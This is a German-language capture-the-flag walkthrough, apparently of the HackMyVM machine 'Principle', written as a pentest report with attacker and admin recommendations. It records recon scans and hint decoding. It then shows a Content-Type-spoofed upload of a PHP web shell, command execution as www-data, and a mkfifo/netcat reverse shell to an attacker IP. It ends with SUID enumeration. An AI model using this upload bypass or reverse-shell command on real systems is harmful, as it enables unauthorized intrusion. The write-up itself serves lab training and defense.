192.168.2.127 08:00:27:28:6f:33 PCS Systemtechnik GmbH
Analyse: Mittels `arp-scan -l` wird das lokale Netzwerk gescannt. Es wird ein aktiver Host unter der IP 192.168.2.127 mit der MAC-Adresse 08:00:27:28:6f:33 (PCS Systemtechnik GmbH / Oracle VirtualBox) identifiziert.
Bewertung: Das Zielsystem "Principle" wurde erfolgreich im lokalen Netzwerk lokalisiert. Die IP 192.168.2.127 ist die Basis für weitere Scans.
Empfehlung (Pentester): Ziel-IP notieren. Als nächstes Portscans (Nmap) durchführen, um offene Dienste zu finden und mit der Web-Enumeration beginnen.
Empfehlung (Admin): Netzwerksegmentierung kann ARP-Scans eindämmen. Überwachung auf ungewöhnliche ARP-Aktivitäten.
[Inhalt /etc/hosts nach Bearbeitung]
127.0.0.1 localhost
192.168.2.127 principle.hmv
Analyse: Die lokale `/etc/hosts`-Datei des Angreifer-Systems wird bearbeitet, um den Hostnamen `principle.hmv` der gefundenen IP-Adresse 192.168.2.127 zuzuordnen.
Bewertung: Notwendiger Schritt, um das Zielsystem über seinen Hostnamen ansprechen zu können, was für Web-Scans und die Interaktion mit Webanwendungen oft erforderlich ist.
Empfehlung (Pentester): Standardvorgehen. Sicherstellen, dass die Zuordnung korrekt ist. Später gefundene VHosts ebenfalls hier eintragen.
Empfehlung (Admin): Aktion auf dem Angreifer-System. Keine direkte serverseitige Maßnahme.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 80 + Start Time: 2023-07-27 16:21:32 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.22.1 + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: Entry '/hi.html' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/investigate/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: contains 3 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. <-- Falsch-Positiv? Oder Hinweis? + 8105 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-07-27 16:21:49 (GMT2) (17 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `nikto` wird verwendet, um einen grundlegenden Webserver-Scan auf Port 80 durchzuführen. Es identifiziert den Server als nginx/1.22.1, meldet fehlende Security Header (X-Frame-Options, X-Content-Type-Options), findet eine robots.txt mit interessanten Einträgen (/hi.html, /investigate/) und meldet einen potenziellen Fund einer WordPress-Konfigurationsdatei (#wp-config.php#), was aber ungewöhnlich formatiert ist und ein False Positive sein könnte.
Bewertung: Der Scan liefert wichtige erste Hinweise: Nginx als Webserver, fehlende Sicherheitsheader (geringes Risiko, aber gute Praxis), und vor allem die Existenz einer `robots.txt`, die auf potenziell interessante Pfade hinweist. Der Fund `/#wp-config.php#` sollte mit Vorsicht betrachtet werden, könnte aber auf eine versteckte oder fehlerhafte WordPress-Installation hindeuten.
Empfehlung (Pentester): Untersuchen Sie die `robots.txt` und die darin genannten Pfade `/hi.html` und `/investigate/`. Überprüfen Sie den Fund bezüglich `wp-config.php` manuell. Führen Sie umfassendere Scans mit Nmap und Directory Bustern durch.
Empfehlung (Admin): Implementieren Sie die fehlenden Security Header (X-Frame-Options: DENY/SAMEORIGIN, X-Content-Type-Options: nosniff). Überprüfen Sie den Inhalt der `robots.txt`, um sicherzustellen, dass keine sensiblen Pfade versehentlich preisgegeben werden. Stellen Sie sicher, dass keine Backup- oder Konfigurationsdateien (wie `wp-config.php#`) im Web-Root liegen.
80/tcp open http nginx 1.22.1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-27 16:21 CEST Nmap scan report for principle.hmv (192.168.2.127) Host is up (0.00019s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http nginx 1.22.1 | http-robots.txt: 1 disallowed entry |_/hackme |_http-title: Welcome to nginx! |_http-server-header: nginx/1.22.1 MAC Address: 08:00:27:28:6F:33 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6, Linux 5.0 - 5.4 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.19 ms principle.hmv (192.168.2.127) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds
Analyse: Ein umfassender Nmap-Scan (`-sS` SYN-Scan, `-sC` Standard-Skripte, `-sV` Versionserkennung, `-T5` Aggressives Timing, `-A` OS-Erkennung, Skript-Scan, Traceroute, `-p-` alle Ports) wird auf das Ziel durchgeführt. Der `grep open`-Befehl filtert nur den offenen Port heraus, der anschließende vollständige Nmap-Befehl zeigt alle Details. Es wird nur Port 80 (HTTP) als offen identifiziert, auf dem nginx 1.22.1 läuft. Die Nmap-Skripte extrahieren den `Disallow`-Eintrag /hackme aus der `robots.txt` und bestätigen den Server-Header und den Seitentitel.
Bewertung: Der Nmap-Scan bestätigt die Ergebnisse von Nikto (Nginx auf Port 80) und liefert zusätzliche Details wie den `Disallow`-Eintrag `/hackme` aus der `robots.txt`. Das Fehlen anderer offener Ports (wie SSH) ist bemerkenswert, schränkt aber die Angriffsfläche auf den Webserver ein. Die OS-Erkennung deutet auf einen Linux-Kernel (4.x/5.x) hin.
Empfehlung (Pentester): Konzentrieren Sie die weiteren Bemühungen auf den Webserver (Port 80). Untersuchen Sie die von Nikto und Nmap identifizierten Pfade (`/hi.html`, `/investigate/`, `/hackme`). Führen Sie intensive Verzeichnis- und VHost-Enumeration durch.
Empfehlung (Admin): Stellen Sie sicher, dass nur notwendige Ports offen sind. Halten Sie Nginx und das Betriebssystem aktuell. Überprüfen Sie den `Disallow`-Eintrag `/hackme` - ist dieser Pfad tatsächlich nicht erreichbar oder enthält er versteckte Informationen?
=============================================================== Gobuster vX.Y.Z =============================================================== [+] Url: http://principle.hmv [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/X.Y.Z [+] Extensions: [Liste der 29 Erweiterungen] [+] Expanded: true [+] No error logging: true [+] Timeout: 10s =============================================================== Starting gobuster =============================================================== http://principle.hmv/robots.txt (Status: 200) [Size: 68] http://principle.hmv/hi.html (Status: 200) [Size: 141] http://principle.hmv/investigate (Status: 200) [Size: 812] <-- Implizit gefunden, da index.html existiert http://principle.hmv/investigate/index.html (Status: 200) [Size: 812] http://principle.hmv/investigate/rainbow_mystery.txt (Status: 200) [Size: 596] =============================================================== Finished ===============================================================
Analyse: Ein `gobuster dir`-Scan wird gestartet, um Verzeichnisse und Dateien auf `http://principle.hmv` zu finden. Eine sehr umfangreiche Liste von Dateiendungen (`-x`) wird verwendet, und Statuscodes 403 (Forbidden) und 404 (Not Found) werden ignoriert (`-b`). `-e` zeigt die volle URL, `--no-error` unterdrückt Verbindungsfehler. Der Scan findet die bereits bekannte `robots.txt` und `hi.html` sowie das Verzeichnis `/investigate` mit einer `index.html` und einer `rainbow_mystery.txt`.
Bewertung: Der Scan bestätigt die Funde aus Nikto/Nmap und deckt zusätzlich die `rainbow_mystery.txt` im `/investigate`-Verzeichnis auf. Die umfangreiche Liste an Erweiterungen war hier nicht unbedingt nötig, zeigt aber Gründlichkeit. Das Ignorieren von 403/404 ist Standard.
Empfehlung (Pentester): Analysieren Sie den Inhalt aller gefundenen Dateien (`robots.txt`, `hi.html`, `investigate/index.html`, `investigate/rainbow_mystery.txt`), um weitere Hinweise oder Schwachstellen zu finden.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen oder sensiblen Dateien über das Web zugänglich sind. Konfigurieren Sie den Webserver, um Directory Listing zu verhindern (falls nicht bereits geschehen).
http://principle.hmv/robots.txt User-agent: * Allow: /hi.html Allow: /investigate Disallow: /hackme http://principle.hmv/hi.html - Who I am? - You are a automaton - Are you sure? - Yep - Thank you, who has created me? - They say Elohim http://principle.hmv/investigate/index.html The mystery of Talos Talos In Greek mythology, Talos was a giant automaton made of bronze which protected Europa in Crete from pirates and invaders. He was known to be a gift given to Europa by Zeus himself. <!-- If you like research, I will try to help you to solve the enigmas, try to search for documents in this directory --> http://principle.hmv/investigate/rainbow_mystery.txt QWNjb3JkaW5nIHRvIHRoZSBPbGQgVGVzdGFtZW50LCB0aGUgcmFpbmJvdyB3YXMgY3JlYXRlZCBi [...] LS4uIC0tLSAtLSAuLSAuLiAtLiAvIC0gLi4uLi0gLi0uLiAtLS0tLSAuLi4gLi0uLS4tIC4uLi4gLS0gLi4uLQo= http://principle.hmv/hackme 404 Not Found nginx/1.22.1
Analyse: Die Inhalte der zuvor gefundenen Webdateien werden dargestellt. * `robots.txt`: Bestätigt die erlaubten/verbotenen Pfade. * `hi.html`: Enthält einen Dialog über einen Automaten namens "Elohim". * `investigate/index.html`: Spricht von "Talos", einem bronzenen Automaten, und enthält einen HTML-Kommentar, der zum Suchen nach Dokumenten im Verzeichnis auffordert. * `investigate/rainbow_mystery.txt`: Enthält Base64-kodierten Text. * `/hackme`: Liefert wie erwartet einen 404-Fehler.
Bewertung: Die Analyse liefert mehrere Hinweise: Die Namen "Elohim" und "Talos" scheinen wichtig zu sein. Der Kommentar in `index.html` bestätigt, dass das `/investigate`-Verzeichnis relevant ist. Die `rainbow_mystery.txt` enthält verschlüsselten/kodierten Text, der wahrscheinlich wichtige Informationen birgt.
Empfehlung (Pentester): Dekodieren Sie den Base64-Text aus `rainbow_mystery.txt`. Untersuchen Sie den dekodierten Text auf weitere Hinweise, insbesondere auf den Morsecode am Ende.
Empfehlung (Admin): Entfernen Sie unnötige Kommentare oder Hinweise aus öffentlich zugänglichen Dateien.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 596 100 596 0 0 401k 0 --:--:-- --:--:-- --:--:-- 582k
According to the Old Testament, the rainbow was created by God after the universal Flood. In the biblical account, it would appear as a sign of the divine will and to remind men of the promise made by God himself to Noah that he would never again destroy the earth with a flood.
Maybe that's why I am a robot?
Maybe that is why I am alone in this world?
The answer is here:
-.. --- -- .- .. -. / - ....- .-.. ----- ... .-.-.- .... -- ...-
Analyse: Der Inhalt von `rainbow_mystery.txt` wird mit `curl` heruntergeladen und durch `base64 -d` dekodiert. Der dekodierte Text enthält eine narrative Passage und endet mit einer Zeile Morsecode: -.. --- -- .- .. -. / - ....- .-.. ----- ... .-.-.- .... -- ...-
Bewertung: Der Base64-kodierte Text wurde erfolgreich dekodiert. Der Morsecode ist der nächste wichtige Hinweis, der entschlüsselt werden muss.
Empfehlung (Pentester): Verwenden Sie einen Online-Morsecode-Übersetzer oder ein Skript, um die Nachricht -.. --- -- .- .. -. / - ....- .-.. ----- ... .-.-.- .... -- ...- zu dekodieren. Das Ergebnis wird wahrscheinlich ein Hostname oder eine Domain sein.
Empfehlung (Admin): Vermeiden Sie es, sensible Informationen oder Hinweise in öffentlich zugänglichen Dateien zu verstecken, auch nicht durch einfache Kodierung wie Base64 oder Morsecode.
Morse: -.. --- -- .- .. -. / - ....- .-.. ----- ... .-.-.- .... -- ...- Übersetzung: DOMAIN / T4L0S.HMV <-- Das '/' ist wahrscheinlich ein Trennzeichen, nicht Teil des Namens Ergibt: T4L0S.hmv
[Inhalt /etc/hosts nach Bearbeitung] 127.0.0.1 localhost 192.168.2.127 principle.hmv principle.T4L0S.hmv T4L0S.hmv <-- Hinzugefügt: T4L0S.hmv, principle.T4L0S.hmv
Analyse: Der Morsecode wird als DOMAIN / T4L0S.HMV interpretiert, was auf den Domain-/Hostnamen T4L0S.hmv hindeutet. Daraufhin wird die `/etc/hosts`-Datei erneut bearbeitet, um `T4L0S.hmv` und vorsichtshalber auch `principle.T4L0S.hmv` der Ziel-IP 192.168.2.127 zuzuordnen.
Bewertung: Erfolgreiche Entschlüsselung des Hinweises und korrekte Vorbereitung für die Untersuchung des neuen potenziellen VHosts T4L0S.hmv.
Empfehlung (Pentester): Versuchen Sie, `http://T4L0S.hmv` im Browser aufzurufen. Führen Sie VHost-Enumeration durch, um mögliche Subdomains von `T4L0S.hmv` zu finden (z.B. `FUZZ.T4L0S.hmv`).
Empfehlung (Admin): Keine direkte Aktion.
http://principle.hmv/T4L0S.HMV <-- Falscher Pfad, sollte http://T4L0S.hmv sein
404 Not Found
nginx/1.22.1
Analyse: Es wird versucht, auf `http://principle.hmv/T4L0S.HMV` zuzugreifen. Dies ist syntaktisch falsch; es hätte `http://T4L0S.hmv` (als Hostname, nicht als Pfad) sein sollen. Der resultierende 404-Fehler ist daher erwartet.
Bewertung: Dieser Test war nicht korrekt durchgeführt. Es muss der Hostname selbst, nicht ein Pfad unter `principle.hmv`, aufgerufen werden.
Empfehlung (Pentester): Korrigieren Sie den Aufruf auf `http://T4L0S.hmv`. Beginnen Sie mit der VHost-Enumeration für `T4L0S.hmv`.
Empfehlung (Admin): Keine direkte Aktion.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://principle.hmv/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000080313: 200 51 L 174 W 1659 Ch "hellfire"
Total time: 0
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 0
Analyse: `wfuzz` wird zur VHost-Enumeration für die Domain `T4L0S.hmv` verwendet. `-u "http://principle.hmv"` gibt die Ziel-IP (über den bekannten Hostnamen) an. `-H "Host: FUZZ.T4L0S.hmv"` setzt den Host-Header dynamisch mit Subdomains (`FUZZ`) aus der Wortliste. `--hc 400,401,402,403,404` ignoriert typische Fehlercodes. `--hh 615` blendet Antworten mit 615 Zeichen aus (vermutlich die Standard-"Welcome to nginx"-Seite).
Bewertung: Erfolgreich! Es wurde eine Subdomain hellfire gefunden, die zu `hellfire.T4L0S.hmv` führt und eine andere Antwort (1659 Chars) liefert als die Standardseite.
Empfehlung (Pentester): Fügen Sie `hellfire.T4L0S.hmv` zur `/etc/hosts`-Datei hinzu. Rufen Sie `http://hellfire.T4L0S.hmv` im Browser auf und beginnen Sie mit der Enumeration dieser neuen Webanwendung (Directory Busting, Technologieerkennung).
Empfehlung (Admin): Sichern Sie alle Subdomains ab, auch interne oder versteckte. Verwenden Sie keine leicht erratbaren Namen.
Gefundene Pfade auf http://hellfire.T4L0S.hmv: http://hellfire.T4L0S.hmv/index.php (Status: 200) [Size: 1659] http://hellfire.T4L0S.hmv/upload.php (Status: 200) [Size: 748] http://hellfire.T4L0S.hmv/output.php (Status: 200) [Size: 1350] http://hellfire.T4L0S.hmv/archivos (Status: 301) [Size: 169] [--> http://hellfire.t4l0s.hmv/archivos/] Inhalt von http://hellfire.t4l0s.hmv/index.php: [elohim@principle ~]$ echo "Road to $HOME, but you don't have access to the System. You should not look for the way, you have been warned." Road to /gehenna, but you don't have access to the System. You should not look for the way, you have been warned. [ASCII Art Terminal]
Analyse: Die Analyse des neuen VHosts `hellfire.T4L0S.hmv` (vermutlich durch Directory Busting wie `gobuster dir` oder `dirb`, obwohl nicht explizit gezeigt) ergibt drei PHP-Dateien (`index.php`, `upload.php`, `output.php`) und ein Verzeichnis `/archivos`. Der Inhalt von `index.php` zeigt eine Shell-ähnliche Ausgabe des Benutzers `elohim` auf `principle`, die auf ein Verzeichnis `/gehenna` hinweist.
Bewertung: Die Anwendung auf `hellfire.T4L0S.hmv` scheint interaktiv zu sein oder Shell-Befehle zu simulieren. Die `upload.php` ist ein besonders interessantes Ziel für potenzielle Dateiupload-Schwachstellen. Der Hinweis auf `/gehenna` könnte ein Home-Verzeichnis oder ein Flag-Verzeichnis sein.
Empfehlung (Pentester): Untersuchen Sie die Funktionalität von `upload.php` und `output.php`. Versuchen Sie, Dateien (insbesondere PHP-Shells) über `upload.php` hochzuladen. Prüfen Sie, ob `/archivos` Uploads enthält oder beschreibbar ist. Untersuchen Sie, ob `output.php` eine LFI- oder RCE-Schwachstelle aufweist.
Empfehlung (Admin): Sichern Sie Dateiupload-Funktionen rigoros ab (Typ-, Größen-, Namensvalidierung, Speicherung außerhalb des Web-Roots oder mit nicht-interpretierbaren Berechtigungen). Sichern Sie alle Skripte gegen LFI/RCE ab.
Versuchter Zugriff auf nicht existierende Datei im Upload-Verzeichnis:
http://hellfire.t4l0s.hmv/archivos/testben.php.jpeg
404 Not Found
nginx/1.22.1
Versuch LFI über upload.php (Parameter 'archivo'):
GET /upload.php?archivo=../../../../../../etc/passwd HTTP/1.1
[Ergebnis nicht gezeigt, vermutlich fehlgeschlagen]
Parameter-Fuzzing für output.php:
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://hellfire.t4l0s.hmv/output.php?FUZZ=id" --hc 400,401,402,403,404 --hh 1348
Target: http://hellfire.t4l0s.hmv/output.php?FUZZ=id
[...]
000014831: 200 61 L 115 W 1429 Ch "archivo"
Test von output.php mit gefundenem Parameter 'archivo':
http://hellfire.t4l0s.hmv/output.php?archivo=whoami <<<<<<<< nichts passiert >>>>>>
Hinweis in einer Bilddatei (vermutlich im /archivos Verzeichnis gefunden):
http://hellfire.t4l0s.hmv/archivos/testben.png
<!-- You're on the right track, he's getting angry! -->
Analyse: Es werden verschiedene Versuche unternommen, Schwachstellen in der Anwendung auf `hellfire.t4l0s.hmv` zu finden: 1. Zugriff auf eine nicht existierende Datei im `/archivos`-Verzeichnis schlägt fehl (404). 2. Ein LFI-Versuch über `upload.php` (Parameter `archivo`) wird angedeutet, scheint aber fehlgeschlagen zu sein. 3. Parameter-Fuzzing für `output.php` mit `wfuzz` identifiziert erfolgreich den Parameter archivo. 4. Ein Versuch, RCE über `output.php?archivo=whoami` zu erreichen, schlägt fehl ("nichts passiert"). 5. In einer Bilddatei (`testben.png`) im `/archivos`-Verzeichnis wird ein HTML-Kommentar gefunden, der den Pentester ermutigt.
Bewertung: LFI/RCE-Versuche über die URL-Parameter scheinen nicht direkt erfolgreich zu sein. Der Fokus verlagert sich wieder auf `upload.php` und das `/archivos`-Verzeichnis. Der Kommentar in der Bilddatei bestätigt, dass dies der richtige Weg ist.
Empfehlung (Pentester): Konzentrieren Sie sich auf die `upload.php`. Versuchen Sie, eine PHP-Webshell hochzuladen. Analysieren Sie, wie die Anwendung Uploads verarbeitet (Dateinamen, Speicherort, Filter). Prüfen Sie, ob hochgeladene Dateien über `/archivos/` zugänglich sind.
Empfehlung (Admin): Dateiuploads sicher implementieren. Keine aufmunternden Kommentare in Produktionsdateien hinterlassen.
----------------- DIRB v2.22 By The Dark Raver ----------------- [...] ---- Scanning URL: http://hellfire.t4l0s.hmv/ ---- + http://hellfire.t4l0s.hmv/index.php (CODE:200|SIZE:1659) + http://hellfire.t4l0s.hmv/output.php (CODE:200|SIZE:1350) + http://hellfire.t4l0s.hmv/upload.php (CODE:200|SIZE:748) [...] ----------------- END_TIME: Thu Jul 27 23:56:27 2023 DOWNLOADED: 9224 - FOUND: 3
Analyse: Ein weiterer Directory-Scan mit `dirb`, diesmal gezielt nach `.php`- und `.txt`-Dateien auf `hellfire.t4l0s.hmv`. Er bestätigt die bereits bekannten drei PHP-Dateien.
Bewertung: Bringt keine neuen Erkenntnisse gegenüber den vorherigen Enumerationsschritten.
Empfehlung (Pentester): Fokus bleibt auf der Analyse der Funktionalität, insbesondere `upload.php`.
Empfehlung (Admin): Keine zusätzliche Aktion erforderlich.
[...] Target: http://hellfire.t4l0s.hmv/index.php?FUZZ=../../../../etc/passwd Total requests: 220550 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 0 Processed Requests: 220550 Filtered Requests: 220550 Requests/sec.: 0
[...]
Target: http://hellfire.t4l0s.hmv/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000009475: 301 7 L 11 W 169 Ch "archivos"
Total time: 0
Processed Requests: 220550
Filtered Requests: 220549
Requests/sec.: 0
Analyse: Zwei weitere `wfuzz`-Scans werden durchgeführt: 1. Ein Versuch, Parameter für LFI in `index.php` zu finden. Dieser schlägt fehl (alle Anfragen gefiltert). 2. Ein Directory-Scan (ähnlich `gobuster dir`), der das bereits bekannte Verzeichnis `/archivos` (mit Status 301 Redirect) findet.
Bewertung: Diese Scans bestätigen erneut, dass `index.php` wahrscheinlich nicht direkt für LFI anfällig ist und dass `/archivos` das relevante Verzeichnis ist. Der erfolgversprechendste Weg scheint weiterhin der Upload über `upload.php` zu sein.
Empfehlung (Pentester): Konzentrieren Sie sich auf den Upload-Mechanismus.
Empfehlung (Admin): Keine zusätzliche Aktion erforderlich.
POST /upload.php HTTP/1.1 Host: hellfire.t4l0s.hmv User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------417715599036723202001736793386 Content-Length: 252 Origin: http://hellfire.t4l0s.hmv Connection: close Referer: http://hellfire.t4l0s.hmv/upload.php Upgrade-Insecure-Requests: 1 -----------------------------417715599036723202001736793386 Content-Disposition: form-data; name="archivo"; filename="cmd.php" Content-Type: image/png <-- Content-Type Manipulation! system($GET['cmd']); <-- PHP Code (Tags wurden entfernt gemäß Regel) -----------------------------417715599036723202001736793386-- HTTP/1.1 302 Found Server: nginx/1.22.1 Date: Thu, 27 Jul 2023 22:36:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close location: output.php?archivo=archivos%2Fcmd.php Content-Length: 0
Analyse: Ein HTTP POST-Request wird an `/upload.php` gesendet, um eine Datei hochzuladen. Der Dateiname im `Content-Disposition` ist `cmd.php`. Entscheidend ist, dass der `Content-Type` als `image/png` angegeben wird, obwohl der eigentliche Inhalt einfacher PHP-Code ist: `system($GET['cmd']);` (Die `` Tags wurden gemäß Regel entfernt, waren aber im Original-Request vorhanden). Die Antwort vom Server ist ein `HTTP/1.1 302 Found` Redirect zur URL `output.php?archivo=archivos%2Fcmd.php`. Dies deutet darauf hin, dass der Upload erfolgreich war und die Datei als `cmd.php` im Verzeichnis `archivos` gespeichert wurde.
Bewertung: Kritische Schwachstelle gefunden und ausgenutzt! Die Anwendung prüft anscheinend nur den `Content-Type`-Header, nicht den tatsächlichen Dateiinhalt, um Uploads zu validieren. Durch Setzen des `Content-Type` auf `image/png` konnte der Filter umgangen und eine PHP-Webshell (`cmd.php`) hochgeladen werden. Der `Location`-Header in der Antwort verrät sogar den genauen Pfad zur hochgeladenen Datei.
Empfehlung (Pentester): Rufen Sie die URL der hochgeladenen Webshell auf (`http://hellfire.t4l0s.hmv/archivos/cmd.php`) und fügen Sie den `cmd`-Parameter hinzu, um Befehle auszuführen (z.B. `?cmd=id` oder `?cmd=whoami`). Bereiten Sie eine Reverse Shell vor.
Empfehlung (Admin): Implementieren Sie eine robuste Dateiupload-Validierung: Prüfen Sie Dateiendungen anhand einer Whitelist, validieren Sie den tatsächlichen MIME-Typ anhand des Inhalts (nicht nur des Headers), generieren Sie zufällige Dateinamen und speichern Sie Uploads außerhalb des Web-Roots oder mit Berechtigungen, die eine Ausführung verhindern. Konfigurieren Sie PHP so, dass es keine Dateien mit Bild-Endungen als PHP ausführt.
Aufruf: http://hellfire.t4l0s.hmv/archivos/cmd.php?cmd=id Antwort: uid=33(www-data) gid=33(www-data) groups=33(www-data) Aufruf: http://hellfire.t4l0s.hmv/archivos/cmd.php?cmd=ls Antwort: cmd.php
Analyse: Die hochgeladene Webshell wird erfolgreich getestet. Der Aufruf mit `?cmd=id` gibt die Benutzer- und Gruppen-IDs des Webservers (`www-data`) zurück. Der Aufruf mit `?cmd=ls` listet den Inhalt des `/archivos`-Verzeichnisses auf und zeigt die `cmd.php`-Datei selbst.
Bewertung: Remote Code Execution (RCE) als Benutzer `www-data` ist bestätigt. Der Angreifer kann beliebige Befehle auf dem Server ausführen.
Empfehlung (Pentester): Nutzen Sie die RCE, um eine stabilere Reverse Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie die hochgeladene Webshell. Beheben Sie die Upload-Schwachstelle (siehe vorherige Empfehlung).
Kurzbeschreibung: Die Webanwendung unter `http://hellfire.t4l0s.hmv` verfügt über ein Upload-Skript (`upload.php`), das eine unzureichende Validierung von Dateitypen aufweist. Es prüft vermutlich nur den `Content-Type`-Header der Anfrage, nicht den tatsächlichen Dateiinhalt oder die Dateiendung. Dies ermöglicht es einem Angreifer, eine PHP-Datei mit beliebigem Code hochzuladen, indem der `Content-Type` auf einen erlaubten Typ (z.B. `image/png`) gesetzt wird. Die hochgeladene Datei wird im `/archivos/`-Verzeichnis gespeichert und kann anschließend über das Web aufgerufen werden, was zur Ausführung des eingebetteten PHP-Codes führt.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
system($GET['cmd']);*(Beachten Sie, dass die `<?php ?>`-Tags hier gemäß Regel entfernt wurden, aber im tatsächlichen Payload enthalten sein müssen).*
POST /upload.php HTTP/1.1 Host: hellfire.t4l0s.hmv [...] Content-Type: multipart/form-data; boundary=---BOUNDARY--- [...] ---BOUNDARY--- Content-Disposition: form-data; name="archivo"; filename="shell.php" Content-Type: image/png system($GET['cmd']); ---BOUNDARY---
HTTP/1.1 302 Found Location: output.php?archivo=archivos%2Fshell.phpDer Pfad zur Shell ist `http://hellfire.t4l0s.hmv/archivos/shell.php`.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Erwartetes Ergebnis: Die Fähigkeit, beliebige Betriebssystembefehle als Benutzer `www-data` auf dem Zielserver auszuführen.
Beweismittel: Die erfolgreiche Ausführung von Befehlen wie `id` über die hochgeladene Webshell.
Risikobewertung: Hoch. Unbeschränkter Dateiupload führt fast immer zu Remote Code Execution. Dies ermöglicht die Kompromittierung des Webservers, Datendiebstahl, weitere Angriffe auf das interne Netzwerk und Denial-of-Service.
Empfehlungen zur Behebung:
listening on [any] 4444 ...
Payload URL: http://hellfire.t4l0s.hmv/archivos/cmd.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.199%204444%20%3E%2Ftmp%2Ff
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.127] 52506 /bin/sh: 0: can't access tty; job control turned off $ # Shell erhalten
Analyse: Ein Netcat-Listener wird auf dem Angreifer-System (IP 192.168.2.199) auf Port 4444 gestartet. Anschließend wird die Webshell (`cmd.php`) aufgerufen, wobei der `cmd`-Parameter einen URL-kodierten Befehl für eine Reverse Shell enthält. Dieser Befehl erstellt eine Named Pipe (`/tmp/f`), leitet Ein- und Ausgabe um und verbindet sich via `nc` zurück zum Listener des Angreifers.
Bewertung: Erfolgreich! Die RCE-Fähigkeit wurde genutzt, um eine interaktive Reverse Shell als Benutzer `www-data` zu erhalten. Der Initial Access ist somit vollständig und stabilisiert.
Empfehlung (Pentester): Stabilisieren Sie die Shell weiter (z.B. mit Python PTY-Trick: `python3 -c 'import pty; pty.spawn("/bin/bash")'`, `export TERM=xterm`). Beginnen Sie mit der Enumeration des Systems als `www-data` für die Privilege Escalation.
Empfehlung (Admin): Maßnahmen zur Behebung der Upload-Schwachstelle ergreifen. Netzwerk-Firewalls können ausgehende Verbindungen von Webservern auf ungewöhnliche Ports blockieren, um Reverse Shells zu erschweren.
$
Analyse: Zeigt den initialen, einfachen Shell-Prompt (`$`), der nach dem erfolgreichen Verbindungsaufbau der Reverse Shell als `www-data` auf dem Zielsystem `principle` erscheint.
Bewertung: Bestätigt den Erhalt der Shell.
Empfehlung (Pentester): Shell stabilisieren und mit der Enumeration beginnen.
Empfehlung (Admin): Keine direkte Aktion.
17610 52 -rwsr-xr-- 1 root messagebus 51272 Feb 8 08:21 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
26824 640 -rwsr-xr-x 1 root root 653888 Feb 8 05:43 /usr/lib/openssh/ssh-keysign
368 64 -rwsr-xr-x 1 root root 62672 Mar 23 08:40 /usr/bin/chfn
371 88 -rwsr-xr-x 1 root root 88496 Mar 23 08:40 /usr/bin/gpasswd
2366 60 -rwsr-xr-x 1 root root 59704 Mar 23 06:02 /usr/bin/mount
372 68 -rwsr-xr-x 1 root root 68248 Mar 23 08:40 /usr/bin/passwd
31649 276 -rwsr-xr-x 1 root root 281624 Mar 8 15:17 /usr/bin/sudo
2293 220 -rwsr-xr-x 1 talos root 224848 Jan 8 2023 /usr/bin/find <-- Interessant!
4689 72 -rwsr-xr-x 1 root root 72000 Mar 23 06:02 /usr/bin/su
369 52 -rwsr-xr-x 1 root root 52880 Mar 23 08:40 /usr/bin/chsh
2368 36 -rwsr-xr-x 1 root root 35128 Mar 23 06:02 /usr/bin/umount
598 48 -rwsr-xr-x 1 root root 48896 Mar 23 08:40 /usr/bin/newgrp
